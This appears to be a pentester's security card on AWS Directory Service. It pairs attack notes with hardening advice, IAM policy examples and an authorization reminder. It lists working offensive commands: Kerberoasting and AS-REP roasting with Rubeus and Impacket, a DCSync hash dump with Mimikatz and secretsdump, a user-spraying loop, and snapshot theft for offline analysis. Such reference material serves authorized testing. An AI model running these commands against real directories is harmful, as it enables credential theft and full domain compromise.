AWS Directory Service provides managed Active Directory (AWS Managed Microsoft AD, AD Connector, Simple AD). Attackers target domain trusts, credential harvesting, Kerberos attacks, and Group Policy manipulation.
Fully managed Microsoft Active Directory in AWS. Supports trust relationships with on-premises AD, Group Policy, LDAPS, and Kerberos authentication.
Attack note: Full AD attack surface including Kerberoasting, pass-the-hash, and DCSync
Proxy service that redirects directory requests to on-premises AD without caching. Used for AWS SSO, WorkSpaces, and other AWS services.
Attack note: Compromising AD Connector can expose on-premises credentials to AWS
Samba 4 based directory for basic AD features. Lower cost but limited functionality. No trust relationships or advanced AD features.
Attack note: Simpler but still vulnerable to credential attacks and enumeration
Directory Service is critical infrastructure with domain admin access enabling full environment compromise. Trust relationships can pivot attacks between AWS and on-premises. Contains authentication credentials for all domain users.
aws ds describe-directoriesaws ds describe-directories --directory-ids d-1234567890aws ds describe-trusts --directory-id d-1234567890aws ds describe-domain-controllers --directory-id d-1234567890aws ds describe-snapshots --directory-id d-1234567890Critical: Domain Admin access enables complete control over all joined systems, AWS services using directory, and potentially on-premises resources.
# PowerShell - Get domain info
Get-ADDomain
Get-ADDomainController -Filter *
Get-ADTrust -Filter *# Rubeus - Extract service account hashes
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Impacket from Linux
GetUserSPNs.py -request -dc-ip 10.0.0.5 corp.local/user:pass# Find users with no preauth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt# Mimikatz - dump all hashes
lsadump::dcsync /domain:corp.local /all /csv
# Impacket
secretsdump.py corp.local/admin:pass@dc01.corp.local# Spray against WorkSpaces/AWS SSO
for user in $(cat users.txt); do
aws workspaces describe-workspaces --directory-id d-xxx \
--user-name $user 2>/dev/null && echo "Valid: $user"
done# Create snapshot for offline analysis
aws ds create-snapshot --directory-id d-1234567890 --name "backup"
# Then restore to attacker-controlled environment{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "ds:*",
"Resource": "*"
}]
}Full control enables creating trusts, resetting passwords, and taking snapshots
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:Describe*",
"ds:List*",
"ds:Get*"
],
"Resource": "*"
}]
}Read-only access for monitoring without modification capabilities
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:CreateTrust",
"ds:DeleteTrust",
"ds:VerifyTrust"
],
"Resource": "*"
}]
}Trust management allows creating paths for lateral movement
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"ds:DescribeDirectories",
"ds:DescribeDomainControllers"
],
"Resource": "arn:aws:ds:us-east-1:123456789012:directory/d-1234567890"
}]
}Access restricted to specific directory resource
Require LDAPS for all directory communications to prevent credential interception.
aws ds enable-ldaps \
--directory-id d-1234567890 \
--type ClientUse one-way trusts where possible. Enable SID filtering and selective authentication.
Configure domain password policy with complexity, length, and history requirements.
# PowerShell - Set policy
Set-ADDefaultDomainPasswordPolicy -Identity corp.local \
-MinPasswordLength 14 -ComplexityEnabled $trueEnable advanced auditing and forward to SIEM for Kerberos attack detection.
Use gMSA accounts, avoid SPNs on privileged accounts, rotate passwords regularly.
Disable NTLM where possible, remove unconstrained delegation, audit ACLs regularly.
AWS Directory Service Security Card • Toc Consulting
Always obtain proper authorization before testing